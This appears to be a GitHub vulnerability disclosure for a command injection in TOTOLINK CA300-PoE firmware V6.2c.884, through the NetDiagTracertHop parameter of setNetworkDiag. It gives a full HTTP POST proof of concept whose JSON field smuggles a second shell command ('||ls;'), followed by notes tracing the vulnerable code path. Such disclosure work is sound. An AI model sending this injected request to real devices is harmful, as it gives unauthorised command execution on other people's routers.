Skip to content

Latest commit

 

History

History
60 lines (36 loc) · 1.61 KB

setNetworkDiag_NetDiagTracertHop.md

File metadata and controls

60 lines (36 loc) · 1.61 KB

TOTOLINK CA300-PoE V6.2c.884 was discovered to contain a command injection vulnerability via the NetDiagTracertHop parameter in the function setNetworkDiag

Description

TOTOLINK Router CA300-PoE V6.2c.884 was found to contain a command injection vulnerability in setNetworkDiag.

image-20230112103759214

Firmware information

Affected version

Version: V6.2c.884

image-20230112103905821

Vulnerability details

POC1:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.254
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 100
Origin: http://192.168.0.254
Connection: keep-alive
Referer: http://192.168.0.254/adm/network_daig.asp?timestamp=1673492576260
Cookie: SESSION_ID=2:1673492439:2

{"topicurl" :"setting/setNetworkDiag","NetDiagMethod" : "1", "NetDiagTracertHop": "20||ls;"}

image-20230112184654180

The function setNetworkDiag is used to set the corresponding variable

image-20230112182605470

In function showNetworkDiag

image-20230112182702672

step into function getDiagInfoV11 is the value of system.NetDiag.method

image-20230112192218163

image-20230112192317035